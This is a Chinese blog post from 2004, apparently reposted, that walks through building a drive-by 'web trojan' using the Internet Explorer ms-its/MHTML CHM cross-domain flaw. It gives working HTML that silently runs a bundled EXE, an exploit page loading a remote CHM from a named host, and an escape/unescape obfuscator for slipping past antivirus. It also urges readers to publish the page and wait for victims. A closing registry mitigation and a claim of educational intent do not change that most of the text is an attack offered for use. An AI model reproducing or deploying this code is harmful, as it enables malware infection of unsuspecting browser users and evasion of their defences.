打造终极网页木马,值得一读!
2004-11-23 18:30
686 查看
打造终极网页木马,值得一读!
如果你打开此页看到了类似下面的这个程序窗口,那我就“恭喜”你有“洞洞”了^O^此漏洞被发现已不是一天两天的事了,考虑到用户的安全等因素,微软以及一些安全组织并没有公开发布此漏洞,只是近日发现网络上有越来越多的利用该漏洞捆绑木马的网页后美国计算机应急响应小组(Computer Emergency Readiness Team,简称CERT) 才正式公布了微软IE浏览器中存在的一个最新漏洞,目前这一漏洞还没有完善的解决方案,用户即使采取了一定的保护措施仍然不能完全避免该漏洞所带来的危险。利用这一漏洞,入侵者可以欺骗IE浏览器中的InfoTech Storage(ITS)协议处理器,使之从其它域获取脚本,并获得同目标计算机上本地区域相同的权限。CERT指出,入侵者在访问某一网站时通过使用一个特殊的URL地址就可以执行上述脚本,从而获得他人的信用卡信息甚至是造成整个网络瘫痪。这一漏洞的工作原理如下:IE浏览器通过ITS或者MHTML协议来标识一个不能访问或是不存在的MHTML文件;当IE浏览器没 有发现编译完成的HTML帮助文件(CHM)时,ITS协议处理器就可能会受到欺骗从而访问来自其它域的CHM文件。此时入侵者就可以通过对CHM文件进行精心设计,使之包含可以从其它域执行的脚本,从而交叉域安全模式也就被入侵者攻破了。
闲话少说,立即进入正题。实现起来非常简单,相信稍微懂一点Html的人都能手动实现的。
第一步:写一个能够自动运行EXE文件的网页,文件内容很简单,如下:
<BODY onmouseup=document.selection.empty() oncontextmenu="return false" onselectstart="return false" ondragstart="return false" onbeforecopy="return false" oncopy=document.selection.empty() onselect=document.selection.empty()> <OBJECT id=RUNIT codeBase=IEPack.exe type=application/x-oleobject height=0 width=0 OBJECT> |
第二步:将上面的的代码存成文件,暂定为"chm.html",并且把object标签内设定的EXE文件和网页放在同一个目录。不要以为这样就能运行了,IE不会主动下载服务器上的执行文件的。当然办法是有的,随便找个CHM制作工具,将这个页面和EXE文件一并打入CHM后打开CHM文件你就发现EXE也是同样的运行起来了。在这里我推荐用EasyCHM,很好用的。下载地址??~!@#$%^自己用狗狗搜去吧。
第三步:这一步最关键,这也是利用漏洞之所在!
再建立一个htm文件mm.htm,写入以下代码:
<BODY onmouseup=document.selection.empty() oncontextmenu="return false" onselectstart="return false" ondragstart="return false" onbeforecopy="return false" oncopy=document.selection.empty() onselect=document.selection.empty()> <TEXTAREA id=code style="DISPLAY: none"> <object data="ms-its:mhtml:file://c:/foo.mht!${path}/help.chm::/chm.html" type="text/x-scriptlet"></object> </TEXTAREA> <SCRIPT language=javascript> document.write(code.value.replace(//${path}/g,location.href.substring(0,location.href.indexOf('chm.html')))); </SCRIPT> <OBJECT type="text/x-scriptlet" data="ms-its:mhtml:file://c:/foo.mht!http://duduwolf.winzheng.com/public/IEpack/help.chm::/chm.html"></OBJECT> |
因为IE在下在此页面后,谁都不知道它把这个页面的本地临时文件放到那个位置,你不知道位置,当然无法run chm里面的那个EXE了,所以用代码里用location.href.substring(0,location.href.indexOf('chm.html'))得到了本地临时页面的全路径。location.href返回的就是当前页面的全路径文件名,然后用substring一选就很轻松得到路径了,再用replace替换,轻轻松松就得到chm文件的全路径名了。哦,这里忘了说,这个IE漏洞的关键就是客户端(IE)会自动下载服务器上的chm文件(抱歉,怎么把最关键的技术给忘了 汗。。。)。
最后一个标签还是一个object,这个标签的作用就是显示chm里包含的那个htm文件,也就是第一、二步制作的那个chm.html文件。至于代码中两次出现的"ms-its:mhtml:file://c:/foo.mht!",这是ms-its的特定格式,具体什么意思我还没研究呢,等我知道了在告诉你:)
第四步:哈哈,你的最新潮的网页木马大终告成了,不过不要高兴得太早,根据今天我测试的结果,诺顿、赛门铁克、咖啡、瑞星(其他的杀毒没装,不知道)等都能成功截杀该网页木马了,你也不要丧气,我既然写了这篇文章就一定有解决办法的。杀毒软件查杀一个病毒的原理很简单,就是以二进制或者文本方式(脚本病毒)打开此文件,查找特定的病毒特征代码,在这里我估计大多数杀毒软件是查找"ms-its:mhtml:file://c:/foo.mht!"这行相关的,具体我没有再作测试,所以咱们在源代码中尽量避开此串代码就可以躲开杀毒软件的耳目了。躲开的方法很多,我用的是javascript脚本的字符串加密。加密函数是javascript自带的,加密用escape(src),解密用unescape(src),这两个函数执行后返回的就是加/解密后的字符串,在这里我给大家一个现成的,将以下代码copy入一个htm文件用IE打开,剩下的不用我说,地球人都会用!将你精心设计的这个网页发布到网上,然后就等着倒霉蛋中标吧(是不是太黑了?有点心狠手辣?不至于吧?没听乌鸦都说自己是黑客嘛。。。)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD><TITLE>网页代码加密解密器</TITLE> <META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK href="http://a0759.nease.net/images/css.css" type=text/css rel=stylesheet> <SCRIPT language=JavaScript> <!-- var i=0; var ie=(document.all)?1:0; var ns=(document.layers)?1:0; function initStyleElements() /* Styles for Buttons Init */ { var c = document.pad; if (ie) { //c.text.style.backgroundColor="#DDDDDD"; c.compileIt.style.backgroundColor="#C0C0A8"; c.compileIt.style.cursor="hand"; c.select.style.backgroundColor="#C0C0A8"; c.select.style.cursor="hand"; c.view.style.backgroundColor="#C0C0A8"; c.view.style.cursor="hand"; c.retur.style.backgroundColor="#C0C0A8"; c.retur.style.cursor="hand"; c.clear.style.backgroundColor="#C0C0A8"; c.clear.style.cursor="hand"; } else return; } /* Buttons Enlightment of "Compilation" panel */ function LightOn(what) { if (ie) what.style.backgroundColor = '#E0E0D0'; else return; } function FocusOn(what) { if (ie) what.style.backgroundColor = '#EBEBEB'; else return; } function LightOut(what) { if (ie) what.style.backgroundColor = '#C0C0A8'; else return; } function FocusOff(what) { if (ie) what.style.backgroundColor = '#DDDDDD'; else return; } /* Buttons Enlightment of "Compilation" panel */ function generate() /* Generation of "Compilation" */ { code = document.pad.text.value; if (code) { document.pad.text.value='正在生成加密代码,请稍后!'; setTimeout("compile()",1000); } else alert('请输入源文件代码') } function compile() /* The "Compilation" */ { document.pad.text.value=''; compilation=escape(code); document.pad.text.value="<script>/n<!--/ndocument.write(unescape(/""+compilation+"/"));/n//-->/n<//script>"; i++; alert("页面被加密了 "+i+" 次!"); } function selectCode() /* Selecting "Compilation" for Copying */ { if(document.pad.text.value.length>0) { document.pad.text.focus(); document.pad.text.select(); } else alert('没有可以选择的文本内容!') } function preview() /* Preview for the "Compilation" */ { if(document.pad.text.value.length>0) { pr=window.open("","Preview","scrollbars=1,menubar=1,status=1,width=700,height=320,left=50,top=110"); pr.document.write(document.pad.text.value); } else alert('没有可以预浏览的文本内容!') } function uncompile() /* Decompiling a "Compilation" */ { if (document.pad.text.value.length>0) { source=unescape(document.pad.text.value); document.pad.text.value=""+source+""; } else alert('你需要生成被加密的代码后才能取回源代码!') } // --> </SCRIPT> <SCRIPT language=JavaScript type=text/JavaScript> <!-- function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; } function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} } function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d )&&d.all) x=d.all ; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i] ; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; } function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} } //--> </SCRIPT> <META content="MSHTML 6.00.2800.1106" name=GENERATOR></HEAD> <BODY text=#000000 bgColor=#ffffff onload="MM_preloadImages('../../images/Close.gif')"> <TABLE cellSpacing=0 cellPadding=0 width=500 align=center border=0> <TBODY> <TR> <TH>网页代码加密解密器</TH></TR> <TR> <TD> <HR width="95%" noShade SIZE=1> </TD></TR> <TR> <TD> <FORM name=pad method=post align="center"><TEXTAREA class=v9pt style="WIDTH: 100%; BACKGROUND-COLOR: #ebebeb" name=text rows=15 cols=100></TEXTAREA> <BR><INPUT onmouseover=LightOn(this) onclick=generate() onmouseout=LightOut(this) type=button value=加密代码 name=compileIt> <INPUT onmouseover=LightOn(this) onclick=selectCode() onmouseout=LightOut(this) type=button value=全选代码 name=select> <INPUT onmouseover=LightOn(this) onclick=preview() onmouseout=LightOut(this) type=button value=预浏览页面 name=view> <INPUT onmouseover=LightOn(this) onclick=uncompile() onmouseout=LightOut(this) type=button value=原代码 name=retur> <INPUT onmouseover=LightOn(this) onmouseout=LightOut(this) type=reset value=清空 name=clear> </FORM></TD></TR> <TR> <TD align=middle><A onmouseover="MM_swapImage('Image2','','../../images/Close.gif',1)" onmouseout=MM_swapImgRestore() href="javascript:window.close()"><IMG height=18 src="http://a0759.nease.net/images/Close-1.gif" width=52 border=0 name=Image2></A></TD></TR></TBODY></TABLE></BODY></HTML> |
打补丁:目前微软还没有提供彻底的解决办法,为了安全,我建议大家进行手动修改注册表屏蔽此漏洞,方法是:
打开注册表,转入HKEY_CLASSES_ROOT/PROTOCOLS/Handle主键下,重命名ms-its键就行了,比如改为:ms-its.bak,如果你在浏览此页面时正如文章开头所说弹出了一个窗体,直接点击那个按钮也可以达到相同的作用。
后记:写这篇文章的目的也就是让大家认识一下那个传中恐怖的网页木马到底是怎么诞生的,什么东西都是人编出来的,这个木马也是我在中毒后用工具一层一层拨开后源代码,细细研究后的成果。最后我给大家推荐几个工具,对于分析网页很有好处。第一个是MyIE2,他的浏览器还能说得过去,让我称赞的是我安装了一个第三方的插件:ViewPage,这个插件很了不起,能快速显示当前页面的页面属性、图像资源、网页源码、Flash、链接列表、CSS、Script等等。有了这个工具你就可以快速知道人家的网页时怎么“炼”成的。第二个要推荐的就是EditPlus文本编辑器,太好用了,真的太好用了。。。。。第三个就是CSDN.BCB版的版主AWeay写的"MySpy"软件,就是用他我才查看到了chm文件的源代码:),推荐的这几款工具大家如果要用的话用狗狗搜吧。
相关文章推荐
- .NET ORM有了,业务层到表现层的映射咋办?
- 简单string类及对象构造测试
- RedHat Linux 9 下JDK的安装与配置
- 应用template技巧来确定函数返回值类型
- sourceforge排行榜之web日历---WebCalendar
- sourceforge排行榜之web日历---WebCalendar
- 用asp.net实现把此文推荐给好友的功能
- 手机巨头恶战增值服务
- 记一位年轻早逝的朋友!
- ASP.NET读取POP3邮件的操作(纯代码)
- Question About Compile Xvid_Bench Please
- Question About Compile Xvid_Bench Please
- 寻找增值服务的游戏规则
- ASP如何获取客户端真实IP地址
- 用ASP.NET设计高效邮件列表
- Right Here Waiting
- 配置ClearCase LT
- Eclipse DIY(转截)
- 嗨 甲骨文【5】
- VMware虚拟机的网络设置(转至http://blog.csdn.net/hlbbs/)